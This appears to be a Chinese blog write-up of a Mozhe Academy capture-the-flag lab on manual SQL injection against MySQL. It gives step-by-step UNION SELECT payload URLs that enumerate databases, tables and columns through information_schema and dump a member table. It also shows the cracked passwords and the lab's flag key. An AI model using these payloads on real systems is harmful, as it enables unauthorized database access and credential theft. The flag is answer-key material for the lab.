SQL手工注入漏洞测试(MySQL数据库)

SQL手工注入漏洞测试(MySQL数据库)

靶场地址:墨者学院

打开靶场,进入环境:

image-20230810195527157

发现登录界面,尝试弱口令,无法进入

发现下方的滚动提示信息,点击进入

image-20230810195635328

观察url信息,为GET请求,存在可控变量,验证是否存在SQL注入

image-20230810195743350

老方法:

1 and 1=1 回显正常

1 and 1=2 回显不正常,可能存在SQL注入

简单直白方法:

直接在可控变量后面随便输入值,看回显效果,回显不正常,可能存在SQL注入

http://124.70.22.208:49146/new_list.php?id=1 and 1=1

image-20230810200006967

http://124.70.22.208:49146/new_list.php?id=1 and 1=2

image-20230810200036382

可控变量后随便输入数值:

image-20230810200143329

接下来进行判断字段的个数:

http://124.70.22.208:49146/new_list.php?id=1 order by 1 回显正常
http://124.70.22.208:49146/new_list.php?id=1 order by 2	回显正常
http://124.70.22.208:49146/new_list.php?id=1 order by 3	回显正常
http://124.70.22.208:49146/new_list.php?id=1 order by 4 回显正常
http://124.70.22.208:49146/new_list.php?id=1 order by 5 回显异常,说明有四列字段

image-20230810201811614

id=1 order by 5 回显异常,说明有四列字段

image-20230810201845771

判断回显点:

http://124.70.22.208:49146/new_list.php?id=-1 union select 1,2,3,4

image-20230810202008809

接下来进行信息收集,收集数据库的信息:操作系统,数据库名,数据库的用户,数据库的版本等

数据库版本:version()        
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

数据库版本和用户:

http://124.70.22.208:49146/new_list.php?id=-1 union select 1,version(),user(),4

image-20230810202059260

数据库名和操作系统:

http://124.70.22.208:49146/new_list.php?id=-1 union select 1,@@version_compile_os,database(),4

image-20230810202300618

由于为root用户,所以可以高权限访问其他的数据库信息,可跨库查询信息,同一个服务器下的不同站点中的数据库均可查看

查看当前的所有数据库

http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(schema_name),database(),4 from information_schema.schemata

image-20230810202801673

这里可实现跨库查询,以上数据库当中的信息均可查询。这里不做演示,都是相同的道理,语句都类似无非就是查询不同的数据库而已。这里演示查询当前的数据库,其他都是同理,更换数据库名即可。

查询当前数据库的表名:

http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(table_name),database(),4 from information_schema.tables where table_schema=database()

image-20230810203312817

查询第一个数据表,观察当中有没有我们想要的信息,查询数据表的列的信息:

http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(column_name),database(),4 from information_schema.columns where table_name='StormGroup_member'

image-20230810203524776

发现用户名和密码,进一步查询:

http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(id,"-",name,"-",password,"-",status),database(),4 from StormGroup_member

image-20230810203930753

或者使用limit判断:

存在多个数据时,可使用limit x,1 进行猜解

http://124.70.22.208:49146/new_list.php?id=-1 union select 1,group_concat(id,"-",name,"-",password,"-",status),database(),4 from StormGroup_member limit 0,1
回显不正常就说明没有更多的数据信息
末尾处加上limit 0,1即可
然后改变0的值,将0改为1,2,3...逐一去判断即可

将以上查出来的password值进行MD5解密即可:

用户名:mozhe
密码:dsan13

用户名:mozhe
密码:803486

尝试登录:

使用dsan13该密码登录:

image-20230810205125480

使用803486该密码登录,可正常进入,并获取KEY

image-20230810205045331

本题KEY为:

mozheb72bade8dfd3ecf108ab206a462

文章不妥之处,欢迎批评指正!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值